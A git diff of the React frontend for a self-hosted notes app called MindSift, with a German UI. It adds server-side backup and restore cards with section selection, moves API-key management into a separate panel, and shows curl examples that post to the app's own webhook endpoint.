className="flex-1 h-11 sm:h-9 px-3 input-field text-base sm:text-sm"
/>
<button
type="button"
onClick={handleSimulateWebhook}
className="btn-primary h-11 sm:h-9 px-4 text-xs sm:text-sm flex items-center justify-center gap-1.5"
>
<Zap className="w-4 h-4" />
<span>Webhook jetzt abfeuern</span>
</button>
</div>
{simStatus && (
<p className={`mt-3 text-xs font-medium ${simStatus.startsWith('❌') ? 'text-status-err' : 'text-status-ok'}`}>{simStatus}</p>
)}
{/* Code Example Snippets */}
<div className="mt-4 space-y-2">
<div className="flex items-center gap-2 text-xs font-medium text-muted">
<Terminal className="w-3.5 h-3.5 text-accent" />
<span>cURL / Home Assistant REST Command:</span>
</div>
<pre className="p-3 bg-canvas border border-border font-mono text-xs text-main overflow-x-auto">
{`curl -X POST "${baseUrl}/api/v1/webhooks/ingest" \\
-H "X-API-Key: ${exampleToken}" \\
-H "Content-Type: application/json" \\
-d '${examplePayload}'`}
</pre>
<p className="text-[11px] text-faint">
Der Key gehört in den Header <code className="font-mono">X-API-Key</code>, nicht in die URL, damit er nicht in
Proxy-Logs landet. Fehlt dem Key die Berechtigung für das Ziel, antwortet der Server mit 403.
</p>
</div>
</div>
</div>
);
};
@@ -0,0 +1,131 @@
import React, { useEffect, useState } from 'react';
import { Archive, Download, Loader2 } from 'lucide-react';
import { BackupFile, SystemSettings } from '../../lib/types';
import { api } from '../../lib/api';
import { ToggleSwitch } from '../../components/ToggleSwitch';
import { formatBytes, saveBlob } from '../../lib/download';
interface BackupAdminCardProps {
settings: SystemSettings;
onSave: (patch: Partial<SystemSettings>) => void;
}
// Admin: automatic daily backups (whole database + one backup per user), list and manual run
export const BackupAdminCard: React.FC<BackupAdminCardProps> = ({ settings, onSave }) => {
const [files, setFiles] = useState<BackupFile[]>([]);
const [running, setRunning] = useState(false);
const [error, setError] = useState<string | null>(null);
useEffect(() => {
api.adminListBackups().then(setFiles).catch(() => {});
}, []);
const runNow = async () => {
setRunning(true);
setError(null);
try {
setFiles(await api.adminRunBackup());
} catch (err: any) {
setError(err.message || 'Backup fehlgeschlagen');
api.adminListBackups().then(setFiles).catch(() => {});
} finally {
setRunning(false);
}
};
const download = async (name: string) => {
try {
saveBlob(await api.adminDownloadBackup(name), name);
} catch (err: any) {
setError(err.message || 'Download fehlgeschlagen');
}
};
return (
<div className="p-4 bg-canvas border border-border rounded-card space-y-3">
<div className="flex items-center justify-between gap-4">
<div className="pr-4">
<p className="font-bold text-main flex items-center gap-1.5">
<Archive className="w-3.5 h-3.5 text-accent" />
Automatische Backups
</p>
<p className="text-[11px] text-muted mt-0.5">
Täglich ein Abzug der ganzen Datenbank und ein Backup je Benutzer unter <code className="font-mono">backups/</code> im
Datenverzeichnis. Das schützt vor Fehlbedienung, nicht vor einer kaputten Platte: den Ordner zusätzlich woanders sichern.
</p>
</div>
<ToggleSwitch
checked={Boolean(settings.backupEnabled)}
onChange={(backupEnabled) => onSave({ backupEnabled })}
title={settings.backupEnabled ? 'Automatische Backups ausschalten' : 'Automatische Backups einschalten'}
/>
</div>
<div className="flex flex-wrap items-end gap-3">
<label className="text-[11px] text-muted">
Uhrzeit
<input
type="time"
value={settings.backupTime || '03:00'}
onChange={(e) => e.target.value && onSave({ backupTime: e.target.value })}
className="block mt-1 h-11 sm:h-8 px-2 input-field text-base sm:text-xs w-28"
/>
</label>
<label className="text-[11px] text-muted">
Aufbewahren (Tage)
<input
type="number"
min={1}
max={365}
value={settings.backupRetentionDays || 3}
onChange={(e) => {
const n = parseInt(e.target.value, 10);
if (n >= 1 && n <= 365) onSave({ backupRetentionDays: n });
}}
className="block mt-1 h-11 sm:h-8 px-2 input-field text-base sm:text-xs w-24"
/>
</label>
<button
type="button"
onClick={runNow}
disabled={running}
className="btn-action h-11 sm:h-8 px-3 text-xs inline-flex items-center gap-1.5 disabled:opacity-50"
>
{running ? <Loader2 className="w-3.5 h-3.5 animate-spin" /> : <Archive className="w-3.5 h-3.5 text-accent" />}
{running ? 'Sichere…' : 'Jetzt sichern'}
</button>
</div>
{error && <p className="text-[11px] text-status-err">{error}</p>}
<div className="border border-border divide-y divide-border bg-panel">
{files.length === 0 ? (
<p className="p-3 text-[11px] text-faint">Noch keine Server-Backups vorhanden.</p>
) : (
files.map((f) => (
<div key={f.name} className="px-3 py-2 flex items-center justify-between gap-3">
<div className="min-w-0">
<p className="text-xs font-mono text-main truncate">{f.name}</p>
<p className="text-[11px] text-faint">
{new Date(f.createdAt).toLocaleString('de-DE')} · {formatBytes(f.size)}
</p>
</div>
<button
type="button"
onClick={() => download(f.name)}
className="btn-action h-11 sm:h-7 px-2.5 text-[11px] inline-flex items-center gap-1 shrink-0"
>
<Download className="w-3.5 h-3.5" />
Download
</button>
</div>
))
)}
</div>
<p className="text-[11px] text-faint">
Zurückspielen eines Datenbank-Abzugs: Container stoppen, <code className="font-mono">mindsift.db</code> durch die entpackte Datei
ersetzen (<code className="font-mono">gunzip</code>), Container starten. Einzelne Benutzer stellen ihre Daten selbst in den
Kontoeinstellungen wieder her.
</p>
</div>
);
};
@@ -1,283 +0,0 @@
import React, { useEffect, useState } from 'react';
import {
Key,
Plus,
Trash2,
Copy,
Check,
Webhook,
Download,
ShieldCheck,
Zap,
Terminal,
} from 'lucide-react';
import { APIKey, PriorityLevel } from '../../lib/types';
import { api, getToken, triggerHaptic } from '../../lib/api';
interface EcosystemViewProps {
onIngested: () => void;
}
export const EcosystemView: React.FC<EcosystemViewProps> = ({ onIngested }) => {
const [keys, setKeys] = useState<APIKey[]>([]);
const [newKeyName, setNewKeyName] = useState('');
const [newlyCreatedKey, setNewlyCreatedKey] = useState<string | null>(null);
const [copiedKey, setCopiedKey] = useState(false);
// Live Webhook Simulator State
const [simTitle, setSimTitle] = useState('Waschmaschine im Keller ist fertig!');
const [simPriority, setSimPriority] = useState<PriorityLevel>('high');
const [simStatus, setSimStatus] = useState<string | null>(null);
const loadKeys = async () => {
const k = await api.getAPIKeys();
setKeys(k);
};
useEffect(() => {
loadKeys();
}, []);
const handleCreateKey = async (e: React.FormEvent) => {
e.preventDefault();
triggerHaptic(15);
const created = await api.createAPIKey(newKeyName.trim() || 'Home Assistant');
if (created.rawKey) {
setNewlyCreatedKey(created.rawKey);
}
setNewKeyName('');
await loadKeys();
};
const handleDeleteKey = async (id: string) => {
triggerHaptic(20);
await api.deleteAPIKey(id);
await loadKeys();
};
const handleCopy = (text: string) => {
navigator.clipboard.writeText(text);
setCopiedKey(true);
setTimeout(() => setCopiedKey(false), 2000);
};
const handleSimulateWebhook = async () => {
triggerHaptic(20);
const tokenToUse = newlyCreatedKey || getToken() || '';
try {
await api.testWebhookIngest(tokenToUse, simTitle, simPriority, ['smarthome', 'automation']);
setSimStatus('✅ Webhook erfolgreich ausgelöst! Neue Karte liegt in deiner Inbox.');
onIngested();
setTimeout(() => setSimStatus(null), 4000);
} catch (err: any) {
setSimStatus(`❌ Fehler: ${err.message}`);
}
};
const handleFullExport = async () => {
triggerHaptic(15);
const data = await api.exportAll();
const blob = new Blob([JSON.stringify(data, null, 2)], {
type: 'application/json;charset=utf-8',
});
const url = URL.createObjectURL(blob);
const a = document.createElement('a');
a.href = url;
a.download = `mindsift-backup-${new Date().toISOString().slice(0, 10)}.json`;
a.click();
URL.revokeObjectURL(url);
};
const exampleToken = newlyCreatedKey || 'mindsift_sec_dein_api_key';
const baseUrl = window.location.origin;
return (
<div className="w-full panel-surface divide-y divide-border">
{/* Section 1: API Keys for Smarthome & Automation */}
<div className="p-4">
<div className="flex items-center gap-3 mb-2">
<div className="w-8 h-8 bg-accent text-white flex items-center justify-center flex-shrink-0">
<Key className="w-4 h-4" />
</div>
<div>
<h3 className="text-base font-bold text-white">
Webhooks & Ingestion API-Schlüssel
</h3>
<p className="text-xs sm:text-sm text-zinc-400">
Verbinde Home Assistant, Zigbee2MQTT, n8n oder eigene Cronjobs direkt mit deiner MindSift Inbox.
</p>
</div>
</div>
<form onSubmit={handleCreateKey} className="mt-3 flex flex-col sm:flex-row gap-2">
<input
type="text"
value={newKeyName}
onChange={(e) => setNewKeyName(e.target.value)}
placeholder="Bezeichnung (z. B. Home Assistant, Proxmox Backup, Rauchmelder)…"
className="w-full sm:flex-1 min-w-0 h-11 sm:h-9 px-3 input-field text-base sm:text-sm"
/>
<button
type="submit"
className="btn-primary h-11 sm:h-9 px-4 text-sm flex items-center justify-center gap-1.5"
>
<Plus className="w-4 h-4" />
<span>API-Key erzeugen</span>
</button>
</form>
{newlyCreatedKey && (
<div className="mt-3 p-3 bg-accent/15 border border-accent/30 flex flex-wrap items-center justify-between gap-3">
<div className="min-w-0">
<p className="text-xs font-semibold text-accent mb-1">
Neuer API-Schlüssel erstellt (bitte jetzt kopieren):
</p>
<code className="text-xs sm:text-sm font-mono text-white break-all">
{newlyCreatedKey}
</code>
</div>
<button
onClick={() => handleCopy(newlyCreatedKey)}
className="btn-primary h-8 px-3 text-xs"
>
{copiedKey ? <Check className="w-3.5 h-3.5" /> : <Copy className="w-3.5 h-3.5" />}
<span>{copiedKey ? 'Kopiert!' : 'Key kopieren'}</span>
</button>
</div>
)}
{/* Active Keys List */}
<div className="mt-3 border border-border divide-y divide-border">
{keys.length === 0 ? (
<p className="text-xs text-zinc-500 px-3 py-2">
Noch keine dedizierten API-Schlüssel hinterlegt.
</p>
) : (
keys.map((k) => (
<div
key={k.id}
className="px-3 py-1.5 bg-canvas flex items-center justify-between gap-3"
>
<div>
<span className="text-sm font-medium text-white">{k.name}</span>
<span className="ml-3 text-xs font-mono text-accent">{k.keyPrefix}</span>
{k.lastUsedAt && (
<span className="ml-3 text-xs text-zinc-500">
Zuletzt genutzt: {new Date(k.lastUsedAt).toLocaleDateString('de-DE')}
</span>
)}
</div>
<button
onClick={() => handleDeleteKey(k.id)}
className="btn-icon btn-icon-danger w-7 h-7"
>
<Trash2 className="w-3.5 h-3.5" />
</button>
</div>
))
)}
</div>
</div>
{/* Section 2: Interactive Smarthome Webhook Simulator */}
<div className="p-4">
<div className="flex items-center gap-3 mb-3">
<div className="w-7 h-7 bg-accent text-white flex items-center justify-center flex-shrink-0">
<Webhook className="w-4 h-4" />
</div>
<div>
<h3 className="text-base font-bold text-white">
Live Smarthome Webhook-Simulator
</h3>
<p className="text-xs sm:text-sm text-zinc-400">
Teste den Webhook-Endpunkt direkt hier – das Event landet sofort als Karte im Triage-Deck.
</p>
</div>
</div>
<div className="flex flex-wrap gap-1.5 mb-3">
{[
{ label: '🧺 Waschmaschine fertig', text: 'Waschmaschine im Keller ist fertig – Wäsche aufhängen!', prio: 'high' as PriorityLevel },
{ label: '🚨 Rauchmelder Batterie', text: 'Rauchmelder Dachgeschoss meldet niedrige Batterie (12%)', prio: 'urgent' as PriorityLevel },
{ label: '💧 Luftfeuchtigkeit Keller', text: 'Kellerfeuchtigkeit über 70% – Lüften oder Entfeuchter starten', prio: 'urgent' as PriorityLevel },
].map((preset) => (
<button
key={preset.label}
type="button"
onClick={() => {
setSimTitle(preset.text);
setSimPriority(preset.prio);
}}
className="btn-action text-xs"
>
{preset.label}
</button>
))}
</div>
<div className="flex flex-col sm:flex-row gap-2">
<input
type="text"
value={simTitle}
onChange={(e) => setSimTitle(e.target.value)}
className="flex-1 h-9 px-3 input-field text-sm"
/>
<button
type="button"
onClick={handleSimulateWebhook}
className="btn-primary h-9 px-4 text-xs sm:text-sm flex items-center gap-1.5"
>
<Zap className="w-4 h-4" />
<span>Webhook jetzt abfeuern</span>
</button>
</div>
{simStatus && (
<p className="mt-3 text-xs font-medium text-accent">{simStatus}</p>
)}
{/* Code Example Snippets */}
<div className="mt-4 space-y-2">
<div className="flex items-center gap-2 text-xs font-medium text-zinc-400">
<Terminal className="w-3.5 h-3.5 text-accent" />
<span>cURL / Home Assistant REST Command:</span>
</div>
<pre className="p-3 bg-canvas border border-border font-mono text-xs text-zinc-300 overflow-x-auto">
{`curl -X POST "${baseUrl}/api/v1/webhooks/ingest?token=${exampleToken}" \\
-H "Content-Type: application/json" \\
-d '{
"title": "Kellerfeuchtigkeit über 70%",
"priority": "urgent",
"tags": ["smarthome", "keller"]
}'`}
</pre>
</div>
</div>
{/* Section 3: Data Sovereignty & Export */}
<div className="p-4 flex flex-col sm:flex-row items-start sm:items-center justify-between gap-4">
<div className="flex items-center gap-3">
<div className="w-7 h-7 bg-accent text-white flex items-center justify-center flex-shrink-0">
<ShieldCheck className="w-4 h-4" />
</div>
<div>
<h3 className="text-base font-bold text-white">
100 % Datensouveränität & Komplett-Export
</h3>
<p className="text-xs sm:text-sm text-zinc-400">
Exportiere jederzeit alle Gedanken, Aufgaben, Dokumente und geteilten Listen als portables JSON-Archiv.
</p>
</div>
</div>
<button
onClick={handleFullExport}
className="btn-primary h-9 px-4 text-xs sm:text-sm flex items-center gap-2"
>
<Download className="w-4 h-4" />
<span>Komplett-Backup (.json)</span>
</button>
</div>
</div>
);
};
+30 -6
View File
@@ -1,6 +1,7 @@
import React, { useRef, useState } from 'react';
import { Upload, Check, AlertCircle, FileArchive } from 'lucide-react';
import { ImportSummary } from '../../lib/types';
import { DATA_SECTIONS, DataSection, ImportSummary } from '../../lib/types';
import { SectionPicker } from './SectionPicker';
import { api } from '../../lib/api';
interface ImportCardProps {
@@ -18,6 +19,7 @@ const summaryParts = (s: ImportSummary) =>
s.tasks && `${s.tasks} Aufgabe${s.tasks === 1 ? '' : 'n'}`,
s.lists && `${s.lists} Liste${s.lists === 1 ? '' : 'n'} mit ${s.listItems} Einträgen`,
s.inbox && `${s.inbox} Gedanke${s.inbox === 1 ? '' : 'n'} für die Triage`,
s.themes && `${s.themes} Theme${s.themes === 1 ? '' : 's'}`,
].filter(Boolean) as string[];
// One import path: drop or pick a file, see a preview of what would be created, then import.
@@ -33,6 +35,9 @@ export const ImportCard: React.FC<ImportCardProps> = ({ source, title, descripti
// MindSift data can replace the current state instead of being added next to it
const [mode, setMode] = useState<'merge' | 'restore'>('merge');
const [confirmRestore, setConfirmRestore] = useState(false);
// MindSift data: which parts to take from the file
const [sections, setSections] = useState<DataSection[]>(DATA_SECTIONS.map((s) => s.id));
const sectionParam = source === 'mindsift' ? sections : undefined;
const restoring = source === 'mindsift' && mode === 'restore';
const reset = () => {
@@ -49,7 +54,7 @@ export const ImportCard: React.FC<ImportCardProps> = ({ source, title, descripti
setFile(f);
setBusy(true);
try {
setPreview(await api.importData(source, f, true));
setPreview(await api.importData(source, f, true, 'merge', sectionParam));
} catch (err: any) {
setError(err.message || 'Datei konnte nicht gelesen werden');
} finally {
@@ -62,7 +67,7 @@ export const ImportCard: React.FC<ImportCardProps> = ({ source, title, descripti
setBusy(true);
setError(null);
try {
setResult(await api.importData(source, file, false, restoring ? 'restore' : 'merge'));
setResult(await api.importData(source, file, false, restoring ? 'restore' : 'merge', sectionParam));
setFile(null);
setPreview(null);
setConfirmRestore(false);
@@ -87,7 +92,7 @@ export const ImportCard: React.FC<ImportCardProps> = ({ source, title, descripti
{(
[
['merge', 'Hinzufügen', 'Bestehende Daten behalten, Backup daneben anlegen.'],
['restore', 'Wiederherstellen', 'Eigene Notizen, Aufgaben und Listen vorher löschen.'],
['restore', 'Wiederherstellen', 'Gewählte Bereiche vorher leeren.'],
] as const
).map(([value, label, text]) => (
<button
@@ -114,6 +119,24 @@ export const ImportCard: React.FC<ImportCardProps> = ({ source, title, descripti
</div>
)}
{source === 'mindsift' && (
<SectionPicker
value={sections}
onChange={(next) => {
setSections(next);
// The preview depends on the sections, so a picked file is read again
if (file) {
setBusy(true);
api
.importData(source, file, true, 'merge', next)
.then(setPreview)
.catch((err) => setError(err.message))
.finally(() => setBusy(false));
}
}}
/>
)}
<div
onDragOver={(e) => {
e.preventDefault();
@@ -194,8 +217,9 @@ export const ImportCard: React.FC<ImportCardProps> = ({ source, title, descripti
className="mt-0.5 w-4 h-4 shrink-0"
/>
<span>
<strong className="text-status-err">Achtung:</strong> Alle deine bisherigen Notizen, Ordner, Aufgaben, Gedanken und
Listen werden vor dem Import unwiderruflich gelöscht und durch das Backup ersetzt. Mit dir geteilte Inhalte anderer
<strong className="text-status-err">Achtung:</strong> Deine bisherigen Daten in den gewählten Bereichen
({DATA_SECTIONS.filter((x) => sections.includes(x.id)).map((x) => x.label).join(', ')}) werden vor dem Import
unwiderruflich gelöscht und durch das Backup ersetzt. Mit dir geteilte Inhalte anderer
bleiben erhalten.
</span>
</label>
@@ -0,0 +1,37 @@
import React from 'react';
import { Check } from 'lucide-react';
import { DATA_SECTIONS, DataSection } from '../../lib/types';
interface SectionPickerProps {
value: DataSection[];
onChange: (sections: DataSection[]) => void;
label?: string;
}
// Which parts of the own data a restore or import covers; at least one stays selected
export const SectionPicker: React.FC<SectionPickerProps> = ({ value, onChange, label = 'Bereiche' }) => (
<div className="flex flex-wrap items-center gap-1.5" role="group" aria-label={label}>
<span className="text-[11px] text-muted mr-1">{label}:</span>
{DATA_SECTIONS.map((sec) => {
const on = value.includes(sec.id);
return (
<button
key={sec.id}
type="button"
role="checkbox"
aria-checked={on}
onClick={() => {
const next = on ? value.filter((v) => v !== sec.id) : [...value, sec.id];
if (next.length > 0) onChange(next);
}}
className={`h-11 sm:h-7 px-2.5 rounded-btn border text-[11px] inline-flex items-center gap-1 transition-colors ${
on ? 'border-accent bg-accent/10 text-main' : 'border-border text-muted hover:text-main'
}`}
>
{on && <Check className="w-3 h-3 text-accent" />}
{sec.label}
</button>
);
})}
</div>
);
@@ -0,0 +1,151 @@
import React, { useEffect, useState } from 'react';
import { Archive, Check, Download, RotateCcw } from 'lucide-react';
import { BackupFile, DataSection, DATA_SECTIONS, ImportSummary } from '../../lib/types';
import { api } from '../../lib/api';
import { formatBytes, saveBlob } from '../../lib/download';
import { SectionPicker } from './SectionPicker';
// The user's own automatic backups on the server: download or restore (all or some sections)
export const ServerBackupsCard: React.FC = () => {
const [files, setFiles] = useState<BackupFile[]>([]);
const [open, setOpen] = useState<string | null>(null); // backup being restored
const [mode, setMode] = useState<'merge' | 'restore'>('restore');
const [sections, setSections] = useState<DataSection[]>(DATA_SECTIONS.map((s) => s.id));
const [confirm, setConfirm] = useState(false);
const [busy, setBusy] = useState(false);
const [error, setError] = useState<string | null>(null);
const [result, setResult] = useState<ImportSummary | null>(null);
useEffect(() => {
api.listMyBackups().then(setFiles).catch(() => {});
}, []);
const startRestore = (name: string) => {
setOpen(open === name ? null : name);
setConfirm(false);
setError(null);
setResult(null);
};
const restore = async () => {
if (!open) return;
setBusy(true);
setError(null);
try {
setResult(await api.restoreMyBackup(open, mode, sections));
setConfirm(false);
} catch (err: any) {
setError(err.message || 'Wiederherstellen fehlgeschlagen');
} finally {
setBusy(false);
}
};
const sectionNames = DATA_SECTIONS.filter((s) => sections.includes(s.id))
.map((s) => s.label)
.join(', ');
return (
<div className="space-y-2">
<div>
<h3 className="font-bold text-main flex items-center gap-1.5">
<Archive className="w-3.5 h-3.5 text-accent" />
Server-Backups
</h3>
<p className="text-muted text-[11px] mt-0.5">
Automatische tägliche Sicherungen deiner Daten auf dem Server (falls die Administration sie eingeschaltet hat).
</p>
</div>
<div className="border border-border divide-y divide-border bg-canvas">
{files.length === 0 ? (
<p className="p-3 text-[11px] text-faint">Noch keine Server-Backups vorhanden.</p>
) : (
files.map((f) => (
<div key={f.name} className="p-3 space-y-2">
<div className="flex flex-wrap items-center justify-between gap-2">
<div className="min-w-0">
<p className="text-xs font-semibold text-main">{new Date(f.createdAt).toLocaleString('de-DE')}</p>
<p className="text-[11px] text-faint">{formatBytes(f.size)}</p>
</div>
<div className="flex gap-2">
<button
type="button"
onClick={async () => saveBlob(await api.downloadMyBackup(f.name), f.name)}
className="btn-action h-11 sm:h-7 px-2.5 text-[11px] inline-flex items-center gap-1"
>
<Download className="w-3.5 h-3.5" />
Download
</button>
<button
type="button"
onClick={() => startRestore(f.name)}
aria-expanded={open === f.name}
className="btn-action h-11 sm:h-7 px-2.5 text-[11px] inline-flex items-center gap-1"
>
<RotateCcw className="w-3.5 h-3.5 text-accent" />
Wiederherstellen
</button>
</div>
</div>
{open === f.name && (
<div className="p-3 rounded-card border border-border bg-panel space-y-2.5">
<div className="grid grid-cols-1 sm:grid-cols-2 gap-2" role="radiogroup" aria-label="Art der Wiederherstellung">
{(
[
['restore', 'Ersetzen', 'Gewählte Bereiche vorher leeren.'],
['merge', 'Hinzufügen', 'Bestehendes behalten, Backup daneben anlegen.'],
] as const
).map(([value, label, text]) => (
<button
key={value}
type="button"
role="radio"
aria-checked={mode === value}
onClick={() => {
setMode(value);
setConfirm(false);
}}
className={`p-2 min-h-[44px] text-left border rounded-card transition-colors ${
mode === value ? (value === 'restore' ? 'border-status-err bg-status-err/10' : 'border-accent bg-accent/10') : 'border-border'
}`}
>
<span className="block text-xs font-semibold text-main">{label}</span>
<span className="block text-[11px] text-muted">{text}</span>
</button>
))}
</div>
<SectionPicker value={sections} onChange={setSections} />
{result ? (
<p className="text-[11px] text-status-ok flex items-center gap-1">
<Check className="w-3.5 h-3.5" /> Wiederhergestellt: {result.notes} Notizen, {result.tasks} Aufgaben, {result.lists} Listen,{' '}
{result.inbox} Gedanken, {result.themes ?? 0} Themes.
</p>
) : (
<button
type="button"
disabled={busy}
onClick={() => (mode === 'restore' && !confirm ? setConfirm(true) : restore())}
className={`h-11 sm:h-8 px-4 text-xs font-semibold disabled:opacity-50 ${
mode === 'restore' ? 'btn-action border-status-err text-status-err' : 'btn-primary'
}`}
>
{busy
? 'Stelle wieder her…'
: mode === 'restore' && confirm
? `Wirklich ${sectionNames} ersetzen?`
: mode === 'restore'
? 'Ersetzen'
: 'Hinzufügen'}
</button>
)}
{error && <p className="text-[11px] text-status-err">{error}</p>}
</div>
)}
</div>
))
)}
</div>
</div>
);
};
@@ -3,9 +3,7 @@ import {
User as UserIcon,
Bell,
Key,
Plus,
Trash2,
Terminal,
Download,
ArrowLeft,
Check,
@@ -16,12 +14,15 @@ import {
AlertCircle,
Palette,
Upload,
Camera,
Pencil,
Copy,
} from 'lucide-react';
import { APIKey, AuthStatus, User, UserTheme } from '../../lib/types';
import { AuthStatus, User, UserTheme } from '../../lib/types';
import { ApiKeysPanel } from './ApiKeysPanel';
import { ServerBackupsCard } from './ServerBackupsCard';
import { saveBlob } from '../../lib/download';
import { api, clearToken, triggerHaptic } from '../../lib/api';
import { passwordProblem } from '../../lib/password';
import { customThemeId, ThemeId, ThemeOption } from '../../lib/theme';
import themeTemplateCss from '../../themes/theme-template.css?raw';
import { UserAvatar, resizeImageToDataUrl } from '../../components/UserAvatar';
@@ -207,12 +208,6 @@ export const UserSettingsView: React.FC<UserSettingsViewProps> = ({
const [savingAlarms, setSavingAlarms] = useState(false);
const [testingChannel, setTestingChannel] = useState<string | null>(null);
// --- Webhooks & API Keys State ---
const [apiKeys, setApiKeys] = useState<APIKey[]>([]);
const [newKeyName, setNewKeyName] = useState('');
const [newlyCreatedKey, setNewlyCreatedKey] = useState<string | null>(null);
const [copiedLabel, setCopiedLabel] = useState<string | null>(null);
useEffect(() => {
setDisplayName(currentUser.displayName || '');
setEmail(currentUser.email || '');
@@ -224,19 +219,6 @@ export const UserSettingsView: React.FC<UserSettingsViewProps> = ({
setNotifyBeforeMinutes(currentUser.notifyBeforeMinutes ?? 30);
}, [currentUser]);
useEffect(() => {
loadKeys();
}, []);
const loadKeys = async () => {
try {
const keys = await api.getAPIKeys();
setApiKeys(keys);
} catch {
// ignore
}
};
const toggleAlarmChannel = (ch: string) => {
setAlarmChannels((prev) =>
prev.includes(ch) ? prev.filter((item) => item !== ch) : [...prev, ch]
@@ -283,7 +265,13 @@ export const UserSettingsView: React.FC<UserSettingsViewProps> = ({
avatarUrl: avatarUrl.trim(),
};
if (newPassword.trim()) {
patch.password = newPassword.trim();
const problem = passwordProblem(newPassword);
if (problem) {
setProfileMsg({ type: 'err', text: problem });
return;
}
// Not trimmed: login compares the password exactly as typed
patch.password = newPassword;
}
const updated = await api.updateSettings(patch);
onUserUpdated(updated);
@@ -375,45 +363,8 @@ export const UserSettingsView: React.FC<UserSettingsViewProps> = ({
}
};
// --- Handlers: Webhooks & Export ---
const handleCreateAPIKey = async (e: React.FormEvent) => {
e.preventDefault();
triggerHaptic(15);
try {
const created = await api.createAPIKey(newKeyName.trim() || 'Eigenes Skript / Webhook');
if (created.rawKey) {
setNewlyCreatedKey(created.rawKey);
}
setNewKeyName('');
loadKeys();
} catch (err: any) {
alert(err.message);
}
};
const handleDeleteAPIKey = async (id: string) => {
if (!window.confirm('Diesen API-Schlüssel wirklich widerrufen?')) return;
await api.deleteAPIKey(id);
loadKeys();
};
const handleCopy = (text: string, label: string) => {
navigator.clipboard.writeText(text);
setCopiedLabel(label);
setTimeout(() => setCopiedLabel(null), 2000);
};
// --- Handlers: Export ---
// Works on mobile browsers too: the link must be in the document and the URL alive until the click ran
const saveBlob = (blob: Blob, filename: string) => {
const url = URL.createObjectURL(blob);
const a = document.createElement('a');
a.href = url;
a.download = filename;
document.body.appendChild(a);
a.click();
a.remove();
window.setTimeout(() => URL.revokeObjectURL(url), 10000);
};
const [exportingBackup, setExportingBackup] = useState(false);
const handleExportData = async () => {
@@ -441,20 +392,6 @@ export const UserSettingsView: React.FC<UserSettingsViewProps> = ({
}
};
const baseUrl = window.location.origin;
const activeKeyPlaceholder =
newlyCreatedKey || (apiKeys[0]?.keyPrefix ? apiKeys[0].keyPrefix + '••••••••' : 'DEIN_API_KEY');
const curlTriageExample = `curl -X POST ${baseUrl}/api/v1/inbox \\
-H "X-API-Key: ${activeKeyPlaceholder}" \\
-H "Content-Type: application/json" \\
-d '{"content": "Kellerfeuchtigkeit über 68% gestiegen – Entfeuchter prüfen #smarthome #alarm", "priority": "urgent"}'`;
const curlTaskExample = `curl -X POST ${baseUrl}/api/v1/inbox \\
-H "X-API-Key: ${activeKeyPlaceholder}" \\
-H "Content-Type: application/json" \\
-d '{"content": "Server-Alarm prüfen #monitoring", "priority": "urgent", "target": "task"}'`;
const roleBadgeLabel =
currentUser.role === 'admin'
? 'Server-Admin'
@@ -696,7 +633,7 @@ export const UserSettingsView: React.FC<UserSettingsViewProps> = ({
type="password"
value={newPassword}
onChange={(e) => setNewPassword(e.target.value)}
placeholder="Mindestens 4 Zeichen"
placeholder="Mindestens 8 Zeichen"
className="w-full h-9 px-3 input-field"
/>
</div>
@@ -1219,107 +1156,10 @@ export const UserSettingsView: React.FC<UserSettingsViewProps> = ({
</p>
</div>
{/* Create API Key */}
<form onSubmit={handleCreateAPIKey} className="flex flex-col sm:flex-row gap-2">
<input
type="text"
value={newKeyName}
onChange={(e) => setNewKeyName(e.target.value)}
placeholder="Bezeichnung des Schlüssels (z.B. Proxmox Monitoring, Discord-Forwarder)…"
className="w-full sm:flex-1 min-w-0 h-11 sm:h-9 px-3 input-field text-base sm:text-xs"
/>
<button
type="submit"
className="btn-primary h-11 sm:h-9 px-4 text-sm sm:text-xs font-semibold flex items-center justify-center gap-1.5"
>
<Plus className="w-3.5 h-3.5" />
<span>Neuen API-Key erzeugen</span>
</button>
</form>
<ApiKeysPanel />
{newlyCreatedKey && (
<div className="p-3 bg-accent-dim border border-accent flex flex-col sm:flex-row sm:items-center justify-between gap-2">
<div className="min-w-0">
<p className="text-[11px] text-accent font-bold">
Neuer API-Schlüssel erstellt (bitte jetzt kopieren, wird nur einmal im
Klartext angezeigt):
</p>
<code className="text-xs font-mono text-main break-all">{newlyCreatedKey}</code>
</div>
<button
onClick={() => handleCopy(newlyCreatedKey, 'key')}
className="btn-primary h-8 px-3 text-xs flex-shrink-0"
>
{copiedLabel === 'key' ? 'Kopiert!' : 'Key kopieren'}
</button>
</div>
)}
{/* Existing Keys List */}
<div className="border border-border divide-y divide-border bg-canvas">
{apiKeys.length === 0 ? (
<div className="p-4 text-center text-faint">
Noch keine persönlichen API-Schlüssel vorhanden.
</div>
) : (
apiKeys.map((k) => (
<div key={k.id} className="p-3 flex items-center justify-between gap-3">
<div>
<p className="font-semibold text-main">{k.name}</p>
<p className="text-[11px] text-faint font-mono">
Präfix: {k.keyPrefix}•••••••• · Erstellt:{' '}
{new Date(k.createdAt).toLocaleDateString()}
</p>
</div>
<button
onClick={() => handleDeleteAPIKey(k.id)}
className="btn-icon btn-icon-danger"
title="Schlüssel widerrufen"
>
<Trash2 className="w-3.5 h-3.5" />
</button>
</div>
))
)}
</div>
{/* Curl Examples */}
<div className="space-y-4">
<div className="space-y-1.5">
<div className="flex items-center justify-between">
<span className="font-semibold text-muted flex items-center gap-1.5">
<Terminal className="w-3.5 h-3.5 text-accent" />
<span>Curl: In Triage-Deck einspeisen (erhält Webhook-Badge)</span>
</span>
<button
onClick={() => handleCopy(curlTriageExample, 'curl-triage')}
className="btn-action h-7 px-2.5 text-[11px]"
>
{copiedLabel === 'curl-triage' ? 'Kopiert!' : 'Befehl kopieren'}
</button>
</div>
<pre className="p-3 code-block text-[11px] font-mono overflow-x-auto whitespace-pre">
{curlTriageExample}
</pre>
</div>
<div className="space-y-1.5">
<div className="flex items-center justify-between">
<span className="font-semibold text-muted flex items-center gap-1.5">
<Terminal className="w-3.5 h-3.5 text-accent" />
<span>Curl: Direkt als Aufgabe anlegen</span>
</span>
<button
onClick={() => handleCopy(curlTaskExample, 'curl-task')}
className="btn-action h-7 px-2.5 text-[11px]"
>
{copiedLabel === 'curl-task' ? 'Kopiert!' : 'Befehl kopieren'}
</button>
</div>
<pre className="p-3 code-block text-[11px] font-mono overflow-x-auto whitespace-pre">
{curlTaskExample}
</pre>
</div>
<div className="pt-4 border-t border-border">
<ServerBackupsCard />
</div>
{/* Full Data Backup */}
@@ -0,0 +1,41 @@
import { describe, it, expect, vi, beforeEach } from 'vitest';
import { render, screen, fireEvent, act } from '@testing-library/react';
